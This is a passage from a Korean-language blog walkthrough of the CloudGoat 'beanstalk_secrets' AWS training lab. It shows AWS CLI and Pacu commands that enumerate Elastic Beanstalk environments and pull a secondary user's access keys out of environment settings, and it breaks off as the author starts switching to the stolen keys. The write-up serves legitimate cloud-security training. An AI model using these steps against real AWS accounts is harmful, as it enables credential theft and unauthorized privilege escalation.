&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,5,0&quot;&gt;Retrieve Final Flag:&lt;/b&gt; 마지막으로 확보한 관리자 권한을 사용하여 AWS Secrets Manager에 접근하고, 최종 플래그(Final Flag)를 획득하며 시나리오 실습을 완료한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 환경 구축 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 생성&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start; font-family: 'Nanum Gothic';&quot;&gt;먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773119932354&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cloudgoat create beanstalk_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1045&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkqcvF/dJMcadVsXvT/WiiPOQQbLazb92XLVSalKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkqcvF/dJMcadVsXvT/WiiPOQQbLazb92XLVSalKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkqcvF/dJMcadVsXvT/WiiPOQQbLazb92XLVSalKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkqcvF%2FdJMcadVsXvT%2FWiiPOQQbLazb92XLVSalKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1045&quot; height=&quot;71&quot; data-origin-width=&quot;1045&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start; font-family: 'Nanum Gothic';&quot;&gt;Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 리소스 분석&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;1 VPC:&lt;/b&gt; 실습 환경이 격리된 네트워크 공간. Elastic Beanstalk 환경이 이 내부에서 구동된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;1 Elastic Beanstalk Environment:&lt;/b&gt; 애플리케이션 배포 및 관리 서비스입니다. 이 시나리오의 핵심 취약점인 &lt;b data-index-in-node=&quot;72&quot; data-path-to-node=&quot;6,1,0&quot;&gt;환경 변수 설정 오류&lt;/b&gt;가 발생하는 지점이다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,2,0&quot;&gt;1 IAM Low-Privilege User (Start):&lt;/b&gt; 우리가 처음 부여받는 계정. 권한이 매우 제한적이지만, Beanstalk 환경을 열거(Enumeration)할 수 있는 최소한의 권한을 가진다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,3,0&quot;&gt;1 IAM Secondary User (Intermediate):&lt;/b&gt; Beanstalk 환경 변수 속에 자격 증명이 숨겨져 있는 계정. 이 계정을 탈취해야 관리자 권한으로 가는 다음 관문인 iam:CreateAccessKey 권한을 사용할 수 있다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,4,0&quot;&gt;1 AWS Secrets Manager Secret (Goal):&lt;/b&gt; 최종 목적지. 관리자 권한을 획득해야만 이 시크릿에 접근하여 &lt;b data-index-in-node=&quot;74&quot; data-path-to-node=&quot;6,4,0&quot;&gt;Final Flag&lt;/b&gt;를 읽을 수 있다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;AWS CLI 프로필 설정 (자격 증명 등록)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;시나리오에서 발급받은&lt;b&gt;&amp;nbsp;access_key_id&lt;/b&gt;와&amp;nbsp;&lt;b&gt;secret_access_key&lt;/b&gt;를 사용하여 내 로컬 환경에 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773119932357&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 프로필 등록
aws configure --profile [프로필명]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;335&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lcumj/dJMcacWAlWB/dkWDkDPkBu1Kh6vkvfuKxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lcumj/dJMcacWAlWB/dkWDkDPkBu1Kh6vkvfuKxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lcumj/dJMcacWAlWB/dkWDkDPkBu1Kh6vkvfuKxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flcumj%2FdJMcacWAlWB%2FdkWDkDPkBu1Kh6vkvfuKxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1273&quot; height=&quot;335&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;335&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;시나리오에서 생성된 사용자인 Low-Privilege User와 Secondary User 프로필을 등록한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;현재 사용자 정보 확인&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773119932361&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OI6fx/dJMcabi7jpp/QChIkMAVQwAjkJ7GySEei1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OI6fx/dJMcabi7jpp/QChIkMAVQwAjkJ7GySEei1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OI6fx/dJMcabi7jpp/QChIkMAVQwAjkJ7GySEei1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOI6fx%2FdJMcabi7jpp%2FQChIkMAVQwAjkJ7GySEei1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;400&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다. secondary_user의 비밀키를 알아내야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ Elastic Beanstalk 환경 조사 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;정석대로라면 IAM을 가장 먼저 확인하는 게 순서이지만 이 시나리오에서는 &lt;b data-path-to-node=&quot;6,2,0&quot; data-index-in-node=&quot;0&quot;&gt;Low-Privilege User&lt;/b&gt;로 접속했기 때문에 직접 내 권한을 조회할 수 있는지 확인하는 것이 먼저이다. 이 계정은 특정 작업(Beanstalk 관련)만 가능하도록 만들어졌기 때문에 지금 가지고 있는&lt;b&gt; low_priv_user&lt;/b&gt;의 키로 본인의 권한을 조회해 보면 &lt;b data-index-in-node=&quot;52&quot; data-path-to-node=&quot;4&quot;&gt;Access Denied&lt;/b&gt;가 뜬다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 애플리케이션 및 환경 목록 확인 &lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; low_priv_user 권한으로 &lt;b data-index-in-node=&quot;60&quot; data-path-to-node=&quot;3&quot;&gt;어떤 자원(Resource)에 접근할 수 있는지&lt;/b&gt; 먼저 파악해야 한다. 이 시나리오에서는 Elastic Beanstalk이 주 타겟이므로 어떤 Beanstalk 애플리케이션이 구동 중인지 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773126296869&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 애플리케이션 목록 확인
aws elasticbeanstalk describe-applications --profile [프로필명]

# 환경(Environment) 목록 확인
aws elasticbeanstalk describe-environments --profile [프로필명]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1898&quot; data-origin-height=&quot;918&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbrp8n/dJMcafZ4C8r/nSlLoaEkBPPMEXmqQNLXy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbrp8n/dJMcafZ4C8r/nSlLoaEkBPPMEXmqQNLXy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbrp8n/dJMcafZ4C8r/nSlLoaEkBPPMEXmqQNLXy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcbrp8n%2FdJMcafZ4C8r%2FnSlLoaEkBPPMEXmqQNLXy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1898&quot; height=&quot;918&quot; data-origin-width=&quot;1898&quot; data-origin-height=&quot;918&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; ApplicationName은 이후 모든 Beanstalk 관련 명령어의 필수 파라미터가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2097&quot; data-origin-height=&quot;838&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4up1Q/dJMcach0vvA/JNWx7Zkx3vCWiqGvLHwNjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4up1Q/dJMcach0vvA/JNWx7Zkx3vCWiqGvLHwNjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4up1Q/dJMcach0vvA/JNWx7Zkx3vCWiqGvLHwNjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4up1Q%2FdJMcach0vvA%2FJNWx7Zkx3vCWiqGvLHwNjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2097&quot; height=&quot;838&quot; data-origin-width=&quot;2097&quot; data-origin-height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 애플리케이션 안에는 여러 개의 실행 환경(운영, 테스트 등)이 있을 수 있다. 실제로 코드가 돌아가고 설정값이 들어있는 환경의 이름을 찾는 명령어이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;확보된 타겟 정보&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;ApplicationName:&lt;/b&gt; cgidvhcic4piwh-app&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;EnvironmentName:&lt;/b&gt; cgidvhcic4piwh-env&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; [ 자격 증명 탈취 및 권한 상승 ] &lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 확보한 ApplicationName과 EnvironmentName을 바탕으로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이 환경의&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;9&quot;&gt;상세 설정값&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;을 확인하여 환경 변수에 숨겨진&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;32&quot;&gt;Secondary User의 자격 증명&lt;/b&gt;을 찾아낼 차례이다.&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;환경 설정(Configuration Settings)에서 자격 증명 탈취&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; Beanstalk 환경 설정 속에는 개발자가 실수로 남겨둔 &lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;6&quot;&gt;Secondary User의 Access Key&lt;/b&gt;가 숨겨져 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;- AWS CLI &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773126512622&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모든 설정값을 출력한 뒤, 'KEY'가 포함된 줄만 골라내기
aws elasticbeanstalk describe-configuration-settings \
    --application-name [앱이름] \
    --environment-name [환경이름] \
    --profile low_priv_user \
    | grep -i &quot;KEY&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1629&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Yi9Xn/dJMcajg4P5i/B9830PHBfnIGhGj7rQR6l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Yi9Xn/dJMcajg4P5i/B9830PHBfnIGhGj7rQR6l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Yi9Xn/dJMcajg4P5i/B9830PHBfnIGhGj7rQR6l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYi9Xn%2FdJMcajg4P5i%2FB9830PHBfnIGhGj7rQR6l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1629&quot; height=&quot;176&quot; data-origin-width=&quot;1629&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; grep을 활용해 수많은 설정값 중 우리가 필요한 '&lt;b&gt;KEY&lt;/b&gt;'라는 단어가 포함된 줄만 빠르게 골라낸다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;- Pacu (elasticbeanstalk__enum 모듈)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; Pacu는 데이터가 너무 많거나, 명령어를 일일이 치기 귀찮을 때 쓰는 자동화 공격 프레임워크다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시작점 등록 &lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773143036508&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;set_keys&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3D2EO/dJMcabpSWYW/ynVEPpg2wqIQqzYM36xMU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3D2EO/dJMcabpSWYW/ynVEPpg2wqIQqzYM36xMU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3D2EO/dJMcabpSWYW/ynVEPpg2wqIQqzYM36xMU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3D2EO%2FdJMcabpSWYW%2FynVEPpg2wqIQqzYM36xMU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1449&quot; height=&quot;405&quot; data-origin-width=&quot;1449&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 CloudGoat에서 처음 발급받은 low_priv_user의 키를 set_keys명령어로 등록하여 Pacu 세션을 시작한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 모듈 실행 및 데이터 추출 &lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773141279646&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 실행 시 리전을 us-east-1로 설정하면 자동으로 환경 변수를 추출한다
Pacu (set-keys:low_priv) &amp;gt; run elasticbeanstalk__enum&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2289&quot; data-origin-height=&quot;155&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q9VR6/dJMcagEI4oC/A3pMDI15UKqfy1HHIFf2f0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q9VR6/dJMcagEI4oC/A3pMDI15UKqfy1HHIFf2f0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q9VR6/dJMcagEI4oC/A3pMDI15UKqfy1HHIFf2f0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq9VR6%2FdJMcagEI4oC%2FA3pMDI15UKqfy1HHIFf2f0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2289&quot; height=&quot;155&quot; data-origin-width=&quot;2289&quot; data-origin-height=&quot;155&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;JSON 데이터 중 특정 키값만 필터링해서 SECONDARY_ACCESS_KEY와 SECONDARY_SECRET_KEY를 확보한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-path-to-node=&quot;5&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;보조 계정 권한 분석 및 공격 수행&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Secondary User로 전환&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 방금 탈취한 보조 계정(secondary)의 키를 Pacu에 다시 등록한다. &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773143223960&quot; class=&quot;dsconfig&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Pacu (set-keys:low_priv) &amp;gt; set_keys&lt;/code&gt;&lt;/pre&gt;
